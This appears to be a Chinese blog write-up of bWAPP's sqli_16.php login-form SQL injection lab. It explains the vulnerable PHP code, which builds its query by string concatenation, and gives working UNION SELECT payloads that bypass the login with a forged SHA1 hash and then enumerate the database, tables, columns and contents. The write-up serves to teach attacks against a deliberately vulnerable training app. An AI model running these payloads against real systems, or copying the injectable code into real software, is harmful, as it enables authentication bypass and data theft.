SQL注入之bWAPP之sqli_16.php
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入之bWAPP之sqli_16.php相关的知识,希望对你有一定的参考价值。
SQL Injection (Login Form/User),这个注入真的让我崩溃,说好的单引号报错后,相应的改SQL语句,然而并没用,然后求助身边的大牛,他说这个好像不一样,曾经好像是一道CTF的题,和一般的SQL注入不一样,但是一时想不起来怎么秀的了,然后终于想了起来,接着带着我一顿操作,终于明白是怎么回事了。
这一切都要从代码讲起,先看代码:
从第二行开始,$login参数接收传入的login,$password接收传入的password,sqli($password)这个是设置难度的,这里没有用,接着将password使用sha1方式hash,然后是SQL查询语句,只查询了login,接下来是第15行$recordset连接数据库并使用$sql的查询语句,在看if、else语句的else部分,第23行$row取出查询结果的一组作为关联数组,这点很重要,还有下面一点,第25行的判断句“if($row["login"] && $password == $row["password"])”,这里要使$row["login"]为真而且$password == $row["password"]),这要怎么弄呢,有方法,$row["login"]不是$login,而是查询后存放在$row的login的值,同理第9行$passwrod和hash值只要等于$row["password"]),所以可以构造SQL语句了,这里比较难受的问题是,你不知道字段数和login和password对应的字段的位置,所以我们需要黑白盒结合起来,打开数据库查询字段和位置,(代码在最后附上)如图:
可以看到password在第三个字段处,我们让password的值为“1”,在线MD5一下,找到sha1对应的hash值为“356a192b7913b04c54574d18c28d46e6395428ab”,开始构造查询语句,输入“
form=submit
&login=‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+
&password=1
”,结果如图:
再详细说下原因:将“‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+”赋给login,$sql就成了“$sql = "SELECT * FROM users WHERE login = ‘" ‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+"‘";”所以$recordset从数据库中搜索就有了返回值,即$row["login"]返回不为空,这里第一个条件就构成了。后面POST的“&password=1”,1的hash的值被我们添加到联合查询语句里了,这样返回的显示中就有1的hash值,即返回的查询有1的hash值,如此$row["password"]的值就是我们传入到password位置的1的hash值了,这样$password的值就等于$row["password"],所以第25行的if判断语句就为真了,是不是很有意思。
下面就是正常的SQL查询了,我也跟着在来一遍。
1、查询数据库等信息:
输入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+”,结果如图:
2、查询表名:
输入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,table_name,6,7,8,9 from information_schema.tables where table_schema=‘Bwapp‘ #+”,可以看见表名为“Blog”并且还有一个“wapp”数据库,可以自己尝试一下,结果如图:
3、查询字段名:
输入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,column_name,6,7,8,9 from information_schema.columns where table_name=‘Blog‘ #+”,结果如图:
4、查询字段的内容:
输入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,id,6,7,8,9 from Blog #+”。
部分代码如下:
<?php
if(isset($_POST["form"]))
{
$login = $_POST["login"];
$login = sqli($login);
$password = $_POST["password"];
$password = sqli($password);
$password = hash("sha1", $password, false);
$sql = "SELECT * FROM users WHERE login = ‘" . $login . "‘";
// echo $sql;
$recordset = mysql_query($sql, $link);
if(!$recordset)
{
die("Error: " . mysql_error());
}
else
{
$row = mysql_fetch_array($recordset);
if($row["login"] && $password == $row["password"])
{
// $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>";
$message = "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>";
// $message = $row["login"];
}
else
{
$message = "<font color=\"red\">Invalid credentials!</font>";
}
}
mysql_close($link);
}
echo $message;
?>
以上是关于SQL注入之bWAPP之sqli_16.php的主要内容,如果未能解决你的问题,请参考以下文章